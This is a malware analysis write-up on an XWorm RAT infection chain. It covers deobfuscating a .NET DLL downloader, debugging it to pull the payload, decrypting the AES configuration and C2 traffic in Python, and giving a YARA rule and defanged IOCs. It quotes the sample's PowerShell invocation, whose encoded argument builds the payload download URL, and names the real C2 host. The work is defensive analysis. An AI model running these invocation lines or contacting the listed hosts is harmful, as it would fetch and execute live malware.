XWorm Part 2 - From Downloader to Config Extraction
Dissecting a .NET DLL Downloader and Extracting XWorm's Configuration.
Overview
In Part 2 of this XWorm malware analysis series, we analyze a .NET DLL downloader responsible for delivering XWorm. This stage of the analysis focuses on using debugging techniques to extract the final payload, followed by performing decryption of XWorm’s configuration.
Technical Analysis
DLL Downloader
Dropping our extracted PE from Part 1 into Detect It Easy reveals a 32-bit .NET DLL.
figure 1 - Detect it Easy .NET DLL downloader output
Using dnSpy to decompile the DLL, we can navigate to the method invoked by the PowerShell script from Part 1, which is the VAI()
method located inside of the Home
class in the ClassLibrary1
namespace.
figure 2 - decompiled VAI() method from DLL downloader
This function accepts 17 string arguments relevant to the delivery of the final XWorm payload. Our sample passes an encrypted and Base64 encoded string, a path, and a few other values as seen in the below snippet.
1
2
3
$builder_args = @('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2L92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');
$loaded_assembly.GetType("ClassLibrary1.Home").GetMethod("VAI").Invoke($null, $builder_args);
To make static analysis easier, we can can try running the sample through de4dot, a popular .NET deobfuscation tool.
1
.\de4dot.exe .\assembly.mal
After loading the de4dot output file extracted_assembly-cleaned.mal
into dnSpy, we can see it renamed symbols to be human-readable instead of Unicode escape sequences like \uE777
.
figure 3 - cleaned output from de4dot showing deobfuscated symbols
There are several calls to methods like Class237.smethod_0()
that accept integer values and return strings. This is indicative of runtime string decryption, used to hide strings from static analysis tools and only resolve them during execution. Navigating to this function shows that it accepts an integer to perform a lookup in a hashtable, where a string is returned.
figure 4 - string resolver function using hashtable lookup
We also see usage of a function that takes in a int32
value and returns a value of type int32
, as well as one that takes in an int32
value and returns a double
value. These are both used for constant unfolding1, hiding constant values from static analysis tools.
figure 5 - runtime double calculation method
figure 6 - runtime integer calculation method
We can replace all calls to these functions with their return value using a publicly available .NET string decryption tool written by n1ght-w0lf2. This will aid in static analysis, allowing us to observe strings and constants in cleartext. Within the script, we will have to define the signatures for our three target functions:
Class237.smethod_0(int32) → string
— string resolverClass239.smethod_3(int32) → double
— double resolverClass239.smethod_0(int32) → int32
— int resolver
Within the StringDecryptor
class of the script, we can define our target function signatures as such, followed by running command python3 dotnet_string_decryptor.py .\assembly-cleaned.mal
. This will output a new file assembly-cleaned_cleaned.mal
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class StringDecryptor:
# Target decryption functions to invoke
DECRYPTION_METHOD_SIGNATURES = [
{
"Parameters": ["System.Int32"],
"ReturnType": "System.String"
},
{
"Parameters": ["System.Int32"],
"ReturnType": "System.Double"
},
{
"Parameters": ["System.Int32"],
"ReturnType": "System.Int32"
},
]
After dropping the output assembly into dnSpy and translating some of the Portuguese parameter names, we can begin to make sense of the main function. The first 54 lines perform various anti-vm checks, which we will want to skip past once debugging.
figure 7 - anti-vm checks in deobfuscated main function
Of interest are the last several lines that are executed after parameters are parsed, which appear to download data, perform operations on the data, before writing it to a directory and invoking it using x32.Run
or x64.Load
based on the victim host bitness.
figure 8 - payload download and execution logic based on architecture
Extracting XWorm
Using a dynamic approach, we can debug this DLL using dnSpy to extract the downloaded payload, where we use PowerShell as our debugger host process. Within our PowerShell process, we can load the assembly into memory and invoke functionality from the malware directly within the command line. This is a debugging trick I learned from a video by MalwareAnalysisForHedgehogs3 which I found posted in the OALabs malware reverse engineering Discord channel4.
Since the assembly is 32-bit, we can launch a 32-bit PowerShell process and run the following to reflectively load the assembly into our current process.
1
[Reflection.Assembly]::LoadFile("C:\Path\To\Assembly\assembly.mal");
Now that we have our assembly loaded into memory, we can open the original extracted DLL in dnSpy and attach the debugger to our PowerShell process by navigating to Debug → Attach to Process. Unfortunately, exceptions are thrown when attempting to debug the cleaned DLL we received after running de4dot and the string decryptor. However, having the cleaned version open side-by-side as a reference was helpful during debugging.
Now, we can set a breakpoint on the first line of VAI()
to avoid executing the anti-analysis checks, followed by setting a breakpoint on where the payload download logic begins.
figure 9 - breakpoint at start of VAI() before anti-vm logic
figure 10 - breakpoint set on payload download logic
With these breakpoints set, we can go back to our PowerShell window and invoke the VAI()
method using the same parameters as the previous PowerShell script.
1
[ClassLibrary1.Home]::VAI('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2Lt92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');
Once we hit our initial breakpoint, we can navigate to our second breakpoint, right-click, and select “Set Next Statement” to skip past argument parsing and anti-vm checks.
After stepping through the code, we see a URL string is crafted using the first parameter passed to VAI()
.
figure 11 - reconstructed URL from first VAI() parameter
An HTTP GET request is then made to the crafted URL to download a hex encoded blob which is then reversed, revealing the magic bytes of a PE file 4D 5A
.
figure 12 - hex payload showing MZ header
Opening the decoded PE file into Detect It Easy reveals a 32-bit .NET assembly.
figure 13 - Detect it Easy output for XWorm
Decompiling the assembly in dnSpy confirms we now have the final XWorm payload.
figure 14 - dnSpy shows XWorm identity
XWorm
Configuration Extraction
The entrypoint function [Stub.Main]::Main()
performs a sleep operation before initializing a configuration contained within the [Settings]
class. The configuration values are decrypted using AES in ECB mode with a 256 bit key.
figure 15 - XWorm configuration structure in memory
The decryption function [Stub.AlgorithmAES]::Decrypt()
can be found below:
figure 16 - AES decryption routine for configuration
The Decrypt()
function creates a key derived from the MD5 hash of the mutex value defined in the [Settings]
class. We can decrypt the configuration using the below Python script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Cipher import AES
import hashlib
import base64
# dictionary of encrypted config values
settings = {
"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
"Mutex" : "NOQFTA4Uaa0s9lW4"
}
# generate key using mutex value
def get_key_from_mutex(mutex):
mutex_md5 = hashlib.md5(mutex.encode())
mutex_md5 = mutex_md5.hexdigest()
key = bytearray(32)
key[:16] = bytes.fromhex(mutex_md5)
key[15:31] = bytes.fromhex(mutex_md5)
key[31] = 0x00
return key
# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
decoded_setting = base64.b64decode(encrypted_setting)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_setting = cipher.decrypt(decoded_setting)
return decrypted_setting.decode('utf-8').strip()
def main():
key = get_key_from_mutex(settings["Mutex"])
print(f'Hosts: {decrypt_setting(key, settings["Hosts"])}')
print(f'Port: {decrypt_setting(key, settings["Port"])}')
print(f'KEY: {decrypt_setting(key, settings["KEY"])}')
print(f'SPL: {decrypt_setting(key, settings["SPL"])}')
print(f'Groub: {decrypt_setting(key, settings["Groub"])}')
print(f'USBNM: {decrypt_setting(key, settings["USBNM"])}')
print(f'Mutex: {settings["Mutex"]}')
if __name__=="__main__":
main()
This script returns the below decrypted XWorm configuration.
figure 17 - decrypted configuration
C2 Protocol
XWorm communicates with its C2 server through AES GCM encrypted messages over TCP. The protcol begins with a number prefix representing the message length. This is then terminated by a null-byte, where the encrypted message follows. A simple visualization of the packet structure can be found below.
1
2
3
4
5
6
7
8
9
10
Packet Structure (Length Prefix + Null Delimiter + AES Encrypted Payload)
[0] [1] [2] [3] [4] [5] [6] ...
+--------+--------+--------+--------+--------+--------+--------+
| '3' | '2' | \x00 | ? | ? | ? | ? |
+--------+--------+--------+--------+--------+--------+--------+
| Length | Length | Delim | AES Encrypted Message |
+--------+--------+--------+--------+--------+--------+--------+
...
Messages are encrypted using their own method [Stub.Helper]::AES_Encryptor()
which uses AES in ECB mode with a 256-bit key. The key is the MD5 hash of the decrypted KEY
config setting. A screenshot of this method can be found below.
figure 18 - packet encryption method
The below script can be used to decrypt a packet sent by XWorm as seen in figure 19.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import hashlib
import base64
# hex encoded c2 packet
encrypted_packet = '3238380049d8de8dda622fe99fb29522a6ed7e513ec0d73f2e48a1717353eae6666c920dc909f579ab6723d4e38dfc30ed4cf5f5c3ec69abf4662a5311139742c01e1f64e0ee0d7af70ba2746b9f2967a1bc481d9c089681b5422db143c7fd35b7caad98b6c14974bf1d97cb6ad1eb50125c18f728c03469493a902d1318038cc9849b04d70b5c47fe8c1ac5afdc1b83fb6b81d3fdde8cb05a2ce87a7b8406e9c71213738ada85326b3f51cea837fcb2458cbf9087b679e4142e1192ab778e799d42a02c844baaa4c342353a135bd80cd9edafdf202d034ad583d9aab6bf31de87a8a6de8e4c3f52660aa5e2accd6d0a79b1e46380c7622dd58741ed416e7739b307301ae3d934ee087b14b2f7fc94bb8f988af49d7a84714192edf5b0f65ead118c5536'
# dictionary of encrypted config values
settings = {
"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
"Mutex" : "NOQFTA4Uaa0s9lW4"
}
# generate config AES key using `Mutex` from config
def get_config_key(mutex_setting):
mutex_md5 = hashlib.md5(mutex_setting.encode())
mutex_md5 = mutex_md5.hexdigest()
key = bytearray(32)
key[:16] = bytes.fromhex(mutex_md5)
key[15:31] = bytes.fromhex(mutex_md5)
key[31] = 0x00
return key
# generate c2 AES key using `KEY` from config
def get_c2_key(key_setting):
key = get_config_key(settings["Mutex"])
config_key = decrypt_setting(key, settings["KEY"])
c2_key = bytes.fromhex(hashlib.md5(config_key).hexdigest())
return c2_key
# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
decoded_setting = base64.b64decode(encrypted_setting)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_setting = unpad(cipher.decrypt(decoded_setting), AES.block_size)
return decrypted_setting
# decrypt hex encoded c2 traffic
def decrypt_packet(c2_key, encrypted_packet):
packet_bytes = bytes.fromhex(encrypted_packet.split("00", 1)[1]) # remove packet length header
cipher = AES.new(c2_key, AES.MODE_ECB)
decrypted_packet = unpad(cipher.decrypt(packet_bytes), AES.block_size)
return decrypted_packet.decode("utf-8")
def main():
c2_key = get_c2_key(settings["KEY"])
print(f"\nDecrypted Packet:\n\n{decrypt_packet(c2_key, encrypted_packet)}")
if __name__=="__main__":
main()
figure 19 - decrypted C2 check-in packet
YARA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
rule XWormRAT {
meta:
author = "Jared G."
description = "Detects unpacked XWorm RAT"
date = "2025-07-06"
sha256 = "6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896"
reference = "https://malwaretrace.net/posts/xworm-part-2"
strings:
$s1 = "-ExecutionPolicy Bypass -File" ascii wide
$s2 = "sendPlugin" ascii wide
$s3 = "savePlugin" ascii wide
$s4 = "RemovePlugins" ascii wide
$s5 = "Plugins Removed!" ascii wide
$s6 = "Keylogger Not Enabled" ascii wide
$s7 = "RunShell" ascii wide
$s8 = "StartDDos" ascii wide
$s9 = "StopDDos" ascii wide
$s10 = "Win32_Processor.deviceid=\"CPU0\"" ascii wide
$s11 = "SELECT * FROM Win32_VideoController" ascii wide
$s12 = "Select * from AntivirusProduct" ascii wide
$s13 = "set_ReceiveBufferSize" ascii wide
$s14 = "set_SendBufferSize" ascii wide
$s15 = "ClientSocket" ascii wide
$s16 = "USBNM" ascii wide
$s17 = "AES_Encryptor" ascii wide
$s18 = "AES_Decryptor" ascii wide
condition:
12 of them
}
IOCs
All hashes from the below IOC table will be available for download on MalShare.
Label | IOC |
---|---|
XWorm Download URL | hxxp[://]deadpoolstart[.]lovestoblog[.]com/arquivo_e1502b7358874d6086b38a71038423c2[.]txt |
XWorm C2 | deadpoolstart2064[.]duckdns[.]org:7021 |
DLL Downloader SHA-256 Hash | c2bce00f20b3ac515f3ed3fd0352d203ba192779d6b84dbc215c3eec3a3ff19c |
XWorm SHA-256 Hash | 6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896 |